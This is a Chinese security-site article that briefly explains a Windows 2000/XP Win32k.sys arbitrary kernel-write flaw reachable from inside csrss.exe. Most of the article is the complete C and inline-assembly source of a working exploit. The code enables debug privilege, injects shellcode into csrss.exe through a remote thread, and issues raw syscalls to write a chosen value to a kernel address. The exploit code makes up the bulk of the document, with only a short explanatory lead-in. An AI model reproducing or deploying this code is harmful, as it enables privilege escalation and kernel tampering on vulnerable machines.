首页 网络安全 安全学院 查看内容

CsrssVuln.exe源代码及分析

2009-4-9 13:25 737 1

摘要: 相关文章:Windows 2000/XP(全补丁)内核任意地址写入漏洞 这个漏洞是在Win32k.sys的代码中的NtUserQueryInformationThread中存在的 这两个函数从WI...
关键词: nbsp ULONG push eax Attributes MEMORY csrssshellthread MessageBox threadhandle PVOID

相关文章:Windows 2000/XP(全补丁)内核任意地址写入漏洞 这个漏洞是在Win32k.sys的代码中的NtUserQueryInformationThread中存在的 这两个函数从WINDOWS 2000开始,只判断调用者当前进程是否是CSRSS.EXE,不对传入的参数做验证,导致了漏洞的产生,攻击者只需要使用某种方式进入CSRSS的进程空间内,就可以触发这种漏洞 这个漏洞在Windows 2003,Vista被修补了,但WINDOWS 2000/XP的全补丁版本没有修补 具体我使用的触发方式是使用一个InformationClass:UserThreadFlags 这个InformationClass允许设置一个线程的W32Thread->TIF_Flags,我们可以使用NtUserSetInformationThread给某个线程设置指定数值的TIF_Flags,再调用NtUserQueryInformationThread,输出Buffer传入我们想要写入的地址,就可以将指定数值写入指定的内核地址中了这个InformationClass实际是传入一个结构USERTHREAD_FLAGS第一个域是要设置的NewFlags,第二个域是dwMask,需要将dwMask设为0xFFFFFFF,才能成功写入 其中这个线程必须是GUI线程,同时关闭时需要还原TIF_Flags,否则被设置的线程可能出一些问题 下面是源代码: #include "shlwapi.h"#include "malloc.h"#include "tlhelp32.h" #pragma comment(lib , "shlwapi.lib") DWORDGetProcessId( LPCTSTR szProcName ){PROCESSENTRY32 pe; DWORD dwPid;DWORD dwRet;BOOL bFound = FALSE; HANDLE hSP = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );if ( hSP ){   pe.dwSize = sizeof( pe );     for ( dwRet = Process32First( hSP, &pe );   dwRet;   dwRet = Process32Next( hSP, &pe ) )   {    if ( StrCmpNI( szProcName, pe.szExeFile, strlen( szProcName ) ) == 0 )    {     dwPid = pe.th32ProcessID;     bFound = TRUE;     break;    }   }     CloseHandle( hSP );     if ( bFound == TRUE )   {    return dwPid;   }} return NULL;}BOOL EnableDebugPrivilege(){HANDLE hToken;BOOL fOk=FALSE;if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){   TOKEN_PRIVILEGES tp;   tp.PrivilegeCount=1;   if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))    MessageBox(0 , "Can't lookup privilege value.\n" , 0 , 0);   tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;   if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))    MessageBox(0 , "Can't adjust privilege value.\n", 0 , 0);   fOk=(GetLastError()==ERROR_SUCCESS);   CloseHandle(hToken);}    return fOk;}typedef struct RWK_MEMORY{ULONG Addr ; ULONG Value ; BOOL bOK ;ULONG ThreadId; }RWK_MEMORY , *PRWK_MEMORY;#define _WIN32_WINNT 0x400//// ClientId// typedef struct _CLIENT_ID {    HANDLE UniqueProcess;    HANDLE UniqueThread;} CLIENT_ID;typedef CLIENT_ID *PCLIENT_ID;typedef struct _OBJECT_ATTRIBUTES {    ULONG Length;    HANDLE RootDirectory;    PVOID ObjectName;    ULONG Attributes;    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR    PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE} OBJECT_ATTRIBUTES;typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;#define InitializeObjectAttributes( p, n, a, r, s ) { \    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \    (p)->RootDirectory = r;                             \    (p)->Attributes = a;                                \    (p)->ObjectName = n;                                \    (p)->SecurityDescriptor = s;                        \    (p)->SecurityQualityOfService = NULL;               \    }#include "winbase.h"void csrssshellthread(PRWK_MEMORY parm){//set TIF flags //id of NtUserSetInformationThread = 520 + 4096 (XP)//id of NtUserQueryInformationThread = 479 + 0x1000(XP)//id of NtOpenThread = 128 (XP)CLIENT_ID ci ; ci.UniqueProcess = 0 ;ci.UniqueThread = (HANDLE)parm->ThreadId ; OBJECT_ATTRIBUTES oba ; InitializeObjectAttributes(&oba , NULL , 0 , 0 , 0 );HANDLE threadhandle = 0;ULONG retlen ; ULONG info[2];//0 = NewFlags info[0] = parm->Value ; //1 = FlagsMask info[1] = 0xFFFFFFFF; ULONG oldFlags ;PVOID pInfo = info ; ULONG addr = parm->Addr ; __asm{      lea eax , ci   push eax   lea eax , oba   push eax   push 0x60    //thread query /set information   lea   eax , threadhandle   push eax   mov     eax , 128   //ntopenthread   lea   edx ,[esp]   int     0x2e   add   esp , 4*4//   call    openthread    //call ntopenthread and get My gui thread handle    test eax , eax   jl    failedx   lea   eax ,retlen   push eax   push 4   lea   eax , oldFlags   push eax   push 1   //UserThreadFlags   push threadhandle   mov     eax , 4575   //NtUserQueryInformationThread   lea   edx , [esp]   int   0x2e   add   esp , 5*4   test    eax , eax   jl   failedx   //for save old flags    //now we set thread flags    push 8   push pInfo   push 1   //UserThreadFlags   push threadhandle   mov     eax , 4616   //NtUserSetInformationThread   lea     edx, [esp]   int   0x2e   add     esp , 4*4   test eax , eax   jl   failedx    //now our thread flags is set to value   //we query thread flags with kernel memory buffer   //    lea   eax ,retlen   push eax   push 4   push addr   push 1   //UserThreadFlags   push threadhandle   mov     eax , 4575   //NtUserQueryInformationThread   lea   edx , [esp]   int   0x2e   add   esp , 5*4   test    eax , eax   jl   failedx     //write success!//SET OLD FLAGS    mov   eax , pInfo   mov   ecx , oldFlags   mov   dword ptr[eax] ,ecx      push 8   push pInfo   push 1   //UserThreadFlags   push threadhandle   mov     eax , 4616   //NtUserSetInformationThread   lea     edx, [esp]   int   0x2e   add     esp , 4*4     //set OK flag   mov   eax , parm   mov   dword ptr[eax + 8 ] , 1failedx:   mov   eax , threadhandle   test eax , eax   jz noneedclose   push threadhandle   mov   eax , 25   //NtClose   lea   edx ,[esp]   int   0x2e   add   esp , 0x4noneedclose: } return ; }void __declspec(naked) nop_func(){__asm{   mov edx , edx   retn 0}}void CCsrssVulnDlg::OnOK() {// TODO: Add extra validation here    EnableDebugPrivilege();   ULONG pid = GetProcessId("CSRSS.EXE");   if (pid == 0 )   {    MessageBox("cannot get csrss.exe pid\n", 0,0);    return ;   }    HANDLE hproc = OpenProcess(PROCESS_ALL_ACCESS , FALSE , pid);    if (hproc == 0 )   {    CHAR msg [100];    sprintf(msg ,"cannot open csrss! err = %u\n" , GetLastError() );    MessageBox( msg , 0 , 0 );    return ;   }    HMODULE hlib = LoadLibrary("ntdll.dll");   PVOID pAddrAllocate = GetProcAddress(hlib , "ZwAllocateVirtualMemory");   PVOID pAddrFree = GetProcAddress(hlib , "ZwFreeVirtualMemory");   if (pAddrFree == 0 ||    pAddrAllocate == 0 )   {    MessageBox("cannot get addr of Zw allocate/free memory routine!\n", 0 , 0 );    CloseHandle(hproc);    return ;    }   ULONG Protect = PAGE_EXECUTE_READWRITE;   ULONG AllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;   ULONG RegionSize = (ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY);   ULONG BaseAddr = 0 ;   LONG retvalue ;    __asm   {    push Protect    push AllocationType    lea   eax , RegionSize    push eax    push 0    lea   eax , BaseAddr    push eax    push hproc    call pAddrAllocate    mov   retvalue , eax   }   if (retvalue < 0 )   {    CHAR msg[100];       sprintf(msg , "ZwAllocateMemory failed! stat = %08x\n" , retvalue);    MessageBox(msg , 0 , 0 );     CloseHandle(hproc);    return ;   }    DWORD btw ;    RWK_MEMORY xxmemory ;    HANDLE hRemoteThread ;   ULONG ThreadId;   xxmemory.Addr= 0x804d8002 ;    xxmemory.Value = 0x12345678 ;   xxmemory.bOK = FALSE ;    xxmemory.ThreadId = GetCurrentThreadId();    PVOID pBuffer = malloc((ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY));   if (pBuffer == 0 )   {    MessageBox("allocate memory failed \n", 0 , 0);    goto end ;    }    CopyMemory(pBuffer , (PVOID)csrssshellthread , (ULONG)nop_func - (ULONG)csrssshellthread);   CopyMemory((PVOID)((ULONG)pBuffer + (ULONG)nop_func - (ULONG)csrssshellthread) ,    &xxmemory ,     sizeof(RWK_MEMORY)    );    if (!WriteProcessMemory(hproc ,     (PVOID)BaseAddr ,     pBuffer ,    (ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY) ,     &btw))   {    CHAR msg[100];    sprintf(msg,"Write process memory failed err = %u\n" , GetLastError());    MessageBox(msg , 0 , 0 );    goto end ;    }    hRemoteThread = CreateRemoteThread(hproc ,    NULL ,     0 ,     (LPTHREAD_START_ROUTINE)BaseAddr ,     (PVOID)((ULONG)BaseAddr + (ULONG)nop_func - (ULONG)csrssshellthread),    0,    &ThreadId);    if (hRemoteThread == 0 )   {    CHAR msg[100];    sprintf(msg , "cannot create remote thread in csrss! err = %u\n" , GetLastError());    MessageBox(msg , 0 , 0);    goto end ;   }    WaitForSingleObject(hRemoteThread , INFINITE);    if (!ReadProcessMemory(hproc ,    (PVOID)((ULONG)BaseAddr + (ULONG)nop_func - (ULONG)csrssshellthread),    &xxmemory ,     sizeof(xxmemory) ,     &btw))   {    MessageBox("shell code inject OK but cannot get status !\n" , 0 , 0 );    goto end ;    }    if (xxmemory.bOK == FALSE)   {       MessageBox("Write Kernel Memory failed!\n", 0 , 0);   }   else   {    MessageBox("Write Kernel Memory OK!\n", 0 , 0);   }  end:   ULONG freeType = MEM_DECOMMIT;   RegionSize = (ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY);   __asm   {    push freeType    lea   eax,RegionSize    push eax    push BaseAddr    push hproc    call pAddrFree   }   CloseHandle(hproc);   if (pBuffer)    free(pBuffer);    return ; }
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

返回顶部